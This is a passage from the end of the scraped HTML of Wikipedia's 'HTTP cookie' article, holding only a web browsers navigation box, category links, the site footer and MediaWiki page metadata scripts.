style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Beaker_(web_browser)" title="Beaker (web browser)">Beaker</a></li> <li><a href="/wiki/Citrio" title="Citrio">Citrio</a></li> <li><a href="/wiki/Flock_(web_browser)" title="Flock (web browser)">Flock</a></li> <li><a href="/wiki/Redcore" title="Redcore">Redcore</a></li> <li><a href="/wiki/Rockmelt" title="Rockmelt">Rockmelt</a></li> <li><a href="/wiki/SalamWeb" title="SalamWeb">SalamWeb</a></li> <li><a href="/wiki/Sputnik_(search_engine)#Browser" title="Sputnik (search engine)">Sputnik</a></li> <li><a href="/wiki/Torch_(web_browser)" title="Torch (web browser)">Torch</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Gecko_(software)" title="Gecko (software)">Gecko</a>-based</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Beonex_Communicator" title="Beonex Communicator">Beonex</a></li> <li><a href="/wiki/Camino_(web_browser)" title="Camino (web browser)">Camino</a></li> <li><a href="/wiki/Classilla" title="Classilla">Classilla</a></li> <li><a href="/wiki/Conkeror" title="Conkeror">Conkeror</a></li> <li><a href="/wiki/Firefox_Lite" title="Firefox Lite">Firefox Lite</a></li> <li><a href="/wiki/Galeon" title="Galeon">Galeon</a></li> <li><a href="/wiki/Ghostzilla" title="Ghostzilla">Ghostzilla</a></li> <li><a href="/wiki/Comodo_IceDragon" title="Comodo IceDragon">IceDragon</a></li> <li><a href="/wiki/Kazehakase" title="Kazehakase">Kazehakase</a></li> <li><a href="/wiki/Kylo_(web_browser)" title="Kylo (web browser)">Kylo</a></li> <li><a href="/wiki/IBM_Lotus_Symphony" title="IBM Lotus Symphony">Lotus</a></li> <li><a href="/wiki/MicroB" title="MicroB">MicroB</a></li> <li><a href="/wiki/Minimo" title="Minimo">Minimo</a></li> <li><a href="/wiki/Mozilla_Application_Suite" title="Mozilla Application Suite">Mozilla suite</a></li> <li><a href="/wiki/PirateBrowser" title="PirateBrowser">PirateBrowser</a></li> <li><a href="/wiki/AT%26T_Pogo" title="AT&T Pogo">Pogo</a></li> <li><a href="/wiki/Kirix_Strata" title="Kirix Strata">Strata</a></li> <li><a href="/wiki/Swiftfox" title="Swiftfox">Swiftfox</a></li> <li><a href="/wiki/Swiftweasel" title="Swiftweasel">Swiftweasel</a></li> <li><a href="/wiki/TenFourFox" class="mw-redirect" title="TenFourFox">TenFourFox</a></li> <li><a href="/wiki/Timberwolf_(web_browser)" title="Timberwolf (web browser)">Timberwolf</a></li> <li><a href="/wiki/XB_Browser" title="XB Browser">xB</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Trident_(software)" title="Trident (software)">MSHTML</a>-based</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Internet_Explorer" title="Internet Explorer">Internet Explorer</a></li> <li><a href="/wiki/AOL_Explorer" title="AOL Explorer">AOL</a></li> <li><a href="/wiki/Deepnet_Explorer" title="Deepnet Explorer">Deepnet</a></li> <li><a href="/wiki/GreenBrowser" title="GreenBrowser">GreenBrowser</a></li> <li><a href="/wiki/MediaBrowser" title="MediaBrowser">MediaBrowser</a></li> <li><a href="/wiki/NeoPlanet" title="NeoPlanet">NeoPlanet</a></li> <li><a href="/wiki/NetCaptor" title="NetCaptor">NetCaptor</a></li> <li><a href="/wiki/SpaceTime_(software)#SpaceTime_Browser" title="SpaceTime (software)">SpaceTime</a></li> <li><a href="/wiki/ZAC_Browser" title="ZAC Browser">ZAC</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/WebKit" title="WebKit">WebKit</a>-based</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Arora_(web_browser)" title="Arora (web browser)">Arora</a></li> <li><a href="/wiki/Bolt_(web_browser)" title="Bolt (web browser)">BOLT</a></li> <li><a href="/wiki/Dolphin_Browser" title="Dolphin Browser">Dolphin</a></li> <li><a href="/wiki/Fluid_(web_browser)" title="Fluid (web browser)">Fluid</a></li> <li><a href="/wiki/Google_TV_(smart_TV_platform)" class="mw-redirect" title="Google TV (smart TV platform)">Google TV</a></li> <li><a href="/wiki/Iris_Browser" title="Iris Browser">Iris</a></li> <li><a href="/wiki/Mercury_Browser" title="Mercury Browser">Mercury</a></li> <li><a href="/wiki/Nokia_Browser_for_Symbian" title="Nokia Browser for Symbian">Nokia Symbian</a></li> <li><a href="/wiki/OmniWeb" title="OmniWeb">OmniWeb</a></li> <li><a href="/wiki/Opera_Coast" title="Opera Coast">Opera Coast</a></li> <li><a href="/wiki/Origyn_Web_Browser" title="Origyn Web Browser">Origyn</a></li> <li><a href="/wiki/QtWeb" title="QtWeb">QtWeb</a></li> <li><a href="/wiki/Shiira" title="Shiira">Shiira</a></li> <li><a href="/wiki/Steel_(web_browser)" title="Steel (web browser)">Steel</a></li> <li><a href="/wiki/Surf_(web_browser)" title="Surf (web browser)">surf</a></li> <li><a href="/wiki/Uzbl" title="Uzbl">Uzbl</a></li> <li><a href="/wiki/WebPositive" class="mw-redirect" title="WebPositive">WebPositive</a></li> <li><a href="/wiki/Xombrero" title="Xombrero">xombrero</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">Other</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Abaco_(web_browser)" title="Abaco (web browser)">abaco</a></li> <li><a href="/wiki/Amaya_(web_editor)" title="Amaya (web editor)">Amaya</a></li> <li><a href="/wiki/Arachne_(web_browser)" title="Arachne (web browser)">Arachne</a></li> <li><a href="/wiki/Arena_(web_browser)" title="Arena (web browser)">Arena</a></li> <li><a href="/wiki/Blazer_(web_browser)" title="Blazer (web browser)">Blazer</a></li> <li><a href="/wiki/Cake_Browser" title="Cake Browser">Cake</a></li> <li><a href="/wiki/Charon_(web_browser)" title="Charon (web browser)">Charon</a></li> <li><a href="/wiki/CM_Browser" title="CM Browser">CM</a></li> <li><a href="/wiki/Microsoft_Live_Labs_Deepfish" title="Microsoft Live Labs Deepfish">Deepfish</a></li> <li><a href="/wiki/Dillo" title="Dillo">Dillo</a></li> <li><a href="/wiki/Microsoft_Edge_Legacy" class="mw-redirect" title="Microsoft Edge Legacy">Edge Legacy</a></li> <li><a href="/wiki/ELinks" title="ELinks">ELinks</a></li> <li><a href="/wiki/Gazelle_(web_browser)" title="Gazelle (web browser)">Gazelle</a></li> <li><a href="/wiki/HotJava" title="HotJava">HotJava</a></li> <li><a href="/wiki/IBM_Home_Page_Reader" title="IBM Home Page Reader">IBM Home Page Reader</a></li> <li><a href="/wiki/IBM_WebExplorer" title="IBM WebExplorer">IBM WebExplorer</a></li> <li><a href="/wiki/IBrowse" title="IBrowse">IBrowse</a></li> <li><a href="/wiki/Internet_Explorer_for_Mac" title="Internet Explorer for Mac">Internet Explorer for Mac</a></li> <li><a href="/wiki/KidZui" title="KidZui">KidZui</a></li> <li><a href="/wiki/Line_Mode_Browser" title="Line Mode Browser">Line Mode</a></li> <li><a href="/wiki/Mosaic_(web_browser)" class="mw-redirect" title="Mosaic (web browser)">Mosaic</a></li> <li><a href="/wiki/MSN_TV" title="MSN TV">MSN TV</a></li> <li><a href="/wiki/NetPositive" class="mw-redirect" title="NetPositive">NetPositive</a></li> <li><a href="/wiki/Netscape_(web_browser)" title="Netscape (web browser)">Netscape</a></li> <li><a href="/wiki/Skweezer" title="Skweezer">Skweezer</a></li> <li><a href="/wiki/Skyfire_(company)" title="Skyfire (company)">Skyfire</a></li> <li><a href="/wiki/ThunderHawk" title="ThunderHawk">ThunderHawk</a></li> <li><a href="/wiki/Vision_Mobile_Browser" title="Vision Mobile Browser">Vision</a></li> <li><a href="/wiki/WinWAP" title="WinWAP">WinWAP</a></li> <li><a href="/wiki/WorldWideWeb" title="WorldWideWeb">WorldWideWeb</a></li></ul> </div></td></tr></tbody></table><div></div></td></tr></tbody></table><div></div></td></tr><tr><td class="navbox-abovebelow" colspan="2"><div> <ul><li><a href="/wiki/Category:Web_browsers" title="Category:Web browsers">Category</a></li> <li><a href="/wiki/Comparison_of_web_browsers" title="Comparison of web browsers">Comparisons</a></li> <li><a href="/wiki/List_of_web_browsers" title="List of web browsers">List</a></li></ul> </div></td></tr></tbody></table></div>    </div><noscript><img src="https://login.wikimedia.org/wiki/Special:CentralAutoLogin/start?type=1x1" alt="" width="1" height="1" style="border: none; position: absolute;"></noscript> <div class="printfooter" data-nosnippet="">Retrieved from "<a dir="ltr" href="https://en.wikipedia.org/w/index.php?title=HTTP_cookie&oldid=1249301321">https://en.wikipedia.org/w/index.php?title=HTTP_cookie&oldid=1249301321</a>"</div></div> <div id="catlinks" class="catlinks" data-mw="interface"><div id="mw-normal-catlinks" class="mw-normal-catlinks"><a href="/wiki/Help:Category" title="Help:Category">Categories</a>: <ul><li><a href="/wiki/Category:Computer_access_control" title="Category:Computer access control">Computer access control</a></li><li><a href="/wiki/Category:Hypertext_Transfer_Protocol_headers" title="Category:Hypertext Transfer Protocol headers">Hypertext Transfer Protocol headers</a></li><li><a href="/wiki/Category:Internet_privacy" title="Category:Internet privacy">Internet privacy</a></li><li><a href="/wiki/Category:Hacking_(computer_security)" title="Category:Hacking (computer security)">Hacking (computer security)</a></li><li><a href="/wiki/Category:Tracking" title="Category:Tracking">Tracking</a></li></ul></div><div id="mw-hidden-catlinks" class="mw-hidden-catlinks mw-hidden-cats-hidden">Hidden categories: <ul><li><a href="/wiki/Category:Webarchive_template_wayback_links" title="Category:Webarchive template wayback links">Webarchive template wayback links</a></li><li><a href="/wiki/Category:CS1_maint:_unfit_URL" title="Category:CS1 maint: unfit URL">CS1 maint: unfit URL</a></li><li><a href="/wiki/Category:Articles_with_short_description" title="Category:Articles with short description">Articles with short description</a></li><li><a href="/wiki/Category:Short_description_is_different_from_Wikidata" title="Category:Short description is different from Wikidata">Short description is different from Wikidata</a></li><li><a href="/wiki/Category:Wikipedia_pages_semi-protected_against_vandalism" title="Category:Wikipedia pages semi-protected against vandalism">Wikipedia pages semi-protected against vandalism</a></li><li><a href="/wiki/Category:Use_American_English_from_April_2021" title="Category:Use American English from April 2021">Use American English from April 2021</a></li><li><a href="/wiki/Category:All_Wikipedia_articles_written_in_American_English" title="Category:All Wikipedia articles written in American English">All Wikipedia articles written in American English</a></li><li><a href="/wiki/Category:Use_dmy_dates_from_April_2021" title="Category:Use dmy dates from April 2021">Use dmy dates from April 2021</a></li><li><a href="/wiki/Category:Articles_needing_additional_references_from_August_2011" title="Category:Articles needing additional references from August 2011">Articles needing additional references from August 2011</a></li><li><a href="/wiki/Category:All_articles_needing_additional_references" title="Category:All articles needing additional references">All articles needing additional references</a></li><li><a href="/wiki/Category:Articles_containing_potentially_dated_statements_from_2016" title="Category:Articles containing potentially dated statements from 2016">Articles containing potentially dated statements from 2016</a></li><li><a href="/wiki/Category:All_articles_containing_potentially_dated_statements" title="Category:All articles containing potentially dated statements">All articles containing potentially dated statements</a></li><li><a href="/wiki/Category:Articles_containing_potentially_dated_statements_from_2014" title="Category:Articles containing potentially dated statements from 2014">Articles containing potentially dated statements from 2014</a></li><li><a href="/wiki/Category:All_articles_with_failed_verification" title="Category:All articles with failed verification">All articles with failed verification</a></li><li><a href="/wiki/Category:Articles_with_failed_verification_from_October_2022" title="Category:Articles with failed verification from October 2022">Articles with failed verification from October 2022</a></li><li><a href="/wiki/Category:Articles_lacking_reliable_references_from_October_2022" title="Category:Articles lacking reliable references from October 2022">Articles lacking reliable references from October 2022</a></li><li><a href="/wiki/Category:All_articles_lacking_reliable_references" title="Category:All articles lacking reliable references">All articles lacking reliable references</a></li><li><a href="/wiki/Category:Articles_that_may_contain_original_research_from_September_2011" title="Category:Articles that may contain original research from September 2011">Articles that may contain original research from September 2011</a></li><li><a href="/wiki/Category:All_articles_that_may_contain_original_research" title="Category:All articles that may contain original research">All articles that may contain original research</a></li><li><a href="/wiki/Category:Articles_needing_additional_references_from_September_2011" title="Category:Articles needing additional references from September 2011">Articles needing additional references from September 2011</a></li><li><a href="/wiki/Category:Articles_with_multiple_maintenance_issues" title="Category:Articles with multiple maintenance issues">Articles with multiple maintenance issues</a></li><li><a href="/wiki/Category:Articles_with_hAudio_microformats" title="Category:Articles with hAudio microformats">Articles with hAudio microformats</a></li><li><a href="/wiki/Category:Spoken_articles" title="Category:Spoken articles">Spoken articles</a></li><li><a href="/wiki/Category:Commons_category_link_is_on_Wikidata" title="Category:Commons category link is on Wikidata">Commons category link is on Wikidata</a></li><li><a href="/wiki/Category:Wikipedia_articles_with_ASCII_art" title="Category:Wikipedia articles with ASCII art">Wikipedia articles with ASCII art</a></li></ul></div></div> </div> </main> </div> <div class="mw-footer-container"> <footer id="footer" class="mw-footer" > <ul id="footer-info"> <li id="footer-info-lastmod"> This page was last edited on 4 October 2024, at 06:19<span class="anonymous-show"> (UTC)</span>.</li> <li id="footer-info-copyright">Text is available under the <a href="/wiki/Wikipedia:Text_of_the_Creative_Commons_Attribution-ShareAlike_4.0_International_License" title="Wikipedia:Text of the Creative Commons Attribution-ShareAlike 4.0 International License">Creative Commons Attribution-ShareAlike 4.0 License</a>; additional terms may apply. By using this site, you agree to the <a href="https://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Terms_of_Use" class="extiw" title="foundation:Special:MyLanguage/Policy:Terms of Use">Terms of Use</a> and <a href="https://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Privacy_policy" class="extiw" title="foundation:Special:MyLanguage/Policy:Privacy policy">Privacy Policy</a>. Wikipedia® is a registered trademark of the <a rel="nofollow" class="external text" href="https://wikimediafoundation.org/">Wikimedia Foundation, Inc.</a>, a non-profit organization.</li> </ul> <ul id="footer-places"> <li id="footer-places-privacy"><a href="https://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Privacy_policy">Privacy policy</a></li> <li id="footer-places-about"><a href="/wiki/Wikipedia:About">About Wikipedia</a></li> <li id="footer-places-disclaimers"><a href="/wiki/Wikipedia:General_disclaimer">Disclaimers</a></li> <li id="footer-places-contact"><a href="//en.wikipedia.org/wiki/Wikipedia:Contact_us">Contact Wikipedia</a></li> <li id="footer-places-wm-codeofconduct"><a href="https://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Universal_Code_of_Conduct">Code of Conduct</a></li> <li id="footer-places-developers"><a href="https://developer.wikimedia.org">Developers</a></li> <li id="footer-places-statslink"><a href="https://stats.wikimedia.org/#/en.wikipedia.org">Statistics</a></li> <li id="footer-places-cookiestatement"><a href="https://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Cookie_statement">Cookie statement</a></li> <li id="footer-places-mobileview"><a href="//en.m.wikipedia.org/w/index.php?title=HTTP_cookie&mobileaction=toggle_view_mobile" class="noprint stopMobileRedirectToggle">Mobile view</a></li> </ul> <ul id="footer-icons" class="noprint"> <li id="footer-copyrightico"><a href="https://wikimediafoundation.org/" class="cdx-button cdx-button--fake-button cdx-button--size-large cdx-button--fake-button--enabled"><img src="/static/images/footer/wikimedia-button.svg" width="84" height="29" alt="Wikimedia Foundation" loading="lazy"></a></li> <li id="footer-poweredbyico"><a href="https://www.mediawiki.org/" class="cdx-button cdx-button--fake-button cdx-button--size-large cdx-button--fake-button--enabled"><img src="/w/resources/assets/poweredby_mediawiki.svg" alt="Powered by MediaWiki" width="88" height="31" loading="lazy"></a></li> </ul> </footer> </div> </div> </div> <div class="vector-settings" id="p-dock-bottom"> <ul></ul> </div><script>(RLQ=window.RLQ||[]).push(function(){mw.config.set({"wgHostname":"mw-web.codfw.main-f69cdc8f6-pnlkl","wgBackendResponseTime":1764,"wgPageParseReport":{"limitreport":{"cputime":"1.269","walltime":"1.617","ppvisitednodes":{"value":9975,"limit":1000000},"postexpandincludesize":{"value":318301,"limit":2097152},"templateargumentsize":{"value":13314,"limit":2097152},"expansiondepth":{"value":22,"limit":100},"expensivefunctioncount":{"value":34,"limit":500},"unstrip-depth":{"value":1,"limit":20},"unstrip-size":{"value":411382,"limit":5000000},"entityaccesscount":{"value":1,"limit":400},"timingprofile":["100.00% 1396.172 1 -total"," 46.56% 650.053 1 Template:Reflist"," 23.42% 327.021 64 Template:Cite_web"," 6.14% 85.677 1 Template:HTTP"," 6.02% 84.006 1 Template:Sidebar"," 5.61% 78.324 1 Template:Short_description"," 5.18% 72.341 7 Template:Cite_ietf"," 4.40% 61.393 4 Template:Ambox"," 4.25% 59.340 10 Template:Cite_journal"," 3.32% 46.414 1 Template:Web_browsers"]},"scribunto":{"limitreport-timeusage":{"value":"0.770","limit":"10.000"},"limitreport-memusage":{"value":9437063,"limit":52428800}},"cachereport":{"origin":"mw-web.codfw.main-f69cdc8f6-pnlkl","timestamp":"20241122141647","ttl":2592000,"transientcontent":false}}});});</script> <script type="application/ld+json">{"@context":"https:\/\/schema.org","@type":"Article","name":"HTTP cookie","url":"https:\/\/en.wikipedia.org\/wiki\/HTTP_cookie","sameAs":"http:\/\/www.wikidata.org\/entity\/Q178995","mainEntity":"http:\/\/www.wikidata.org\/entity\/Q178995","author":{"@type":"Organization","name":"Contributors to Wikimedia projects"},"publisher":{"@type":"Organization","name":"Wikimedia Foundation, Inc.","logo":{"@type":"ImageObject","url":"https:\/\/www.wikimedia.org\/static\/images\/wmf-hor-googpub.png"}},"datePublished":"2001-11-23T17:49:42Z","dateModified":"2024-10-04T06:19:07Z","image":"https:\/\/upload.wikimedia.org\/wikipedia\/commons\/5\/5b\/HTTP_logo.svg","headline":"small piece of data sent from a website and stored on the user's computer by the user's web browser"}</script> </body> </html>